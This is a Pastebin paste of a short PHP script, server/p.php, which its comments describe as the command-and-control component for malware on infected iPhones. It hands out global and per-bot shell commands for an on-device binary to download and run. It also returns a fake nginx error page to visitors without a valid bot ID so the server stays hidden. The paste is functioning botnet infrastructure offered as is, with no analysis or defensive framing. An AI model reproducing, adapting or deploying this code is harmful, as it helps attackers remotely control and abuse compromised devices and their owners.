Advertisement
FlyFar

server/p.php

Mar 26th, 2024
498
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.65 KB | Cybersecurity | 0 0
  1. <?php
  2.     /*
  3.         p.php - C&C component.
  4.         ---------------------
  5.         This handles Command and Control logic for
  6.         the infected iPhone, this merely echos a
  7.         shell script for the "duh" binary to download.
  8.        
  9.         /// NOTE ///
  10.         Right now, there is no way to issue commands simply.
  11.         You will need to edit the bot's command file to issue commands...
  12.         To issue a global command, put it in the "all" file
  13.         /// END ///
  14.     */
  15.     error_reporting(E_ERROR | E_PARSE); // No php errors, but I reccomend you turn it on for debugging ONLY.
  16.    
  17.     $botid = htmlspecialchars($_GET["id"]);
  18.     $global_cmd = $_SERVER["DOCUMENT_ROOT"] . "/xml/bots/all";
  19.     $bot_cmd = $_SERVER["DOCUMENT_ROOT"] . "/xml/bots" . "/" . $botid;
  20.    
  21.     if(!$botid || !file_exists($bot_cmd)) { // Die with a fake nginx message
  22.         echo "<html>\n";
  23.         echo "<head><title>403 Forbidden</title></head>\n";
  24.         echo "<body bgcolor=\"white\">\n";
  25.         echo "<center><h1>404 Forbidden</h1></center>\n";
  26.         echo "<hr><center>nginx/6.6.6 (Mac OS X)</center>\n";
  27.         echo "</body>\n";
  28.         echo "</html>\n";
  29.         echo "<!-- a padding to disable MSIE and Chrome friendly error page -->\n";
  30.         echo "<!-- a padding to disable MSIE and Chrome friendly error page -->\n";
  31.         echo "<!-- a padding to disable MSIE and Chrome friendly error page -->\n";
  32.         echo "<!-- a padding to disable MSIE and Chrome friendly error page -->\n";
  33.         echo "<!-- a padding to disable MSIE and Chrome friendly error page -->\n";
  34.         echo "<!-- a padding to disable MSIE and Chrome friendly error page -->\n";
  35.         die("");
  36.     } else {
  37.         header('Content-Type: text/plain');
  38.         echo file_get_contents($global_cmd)."\n\n";
  39.         echo file_get_contents($bot_cmd);
  40.     }
  41. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement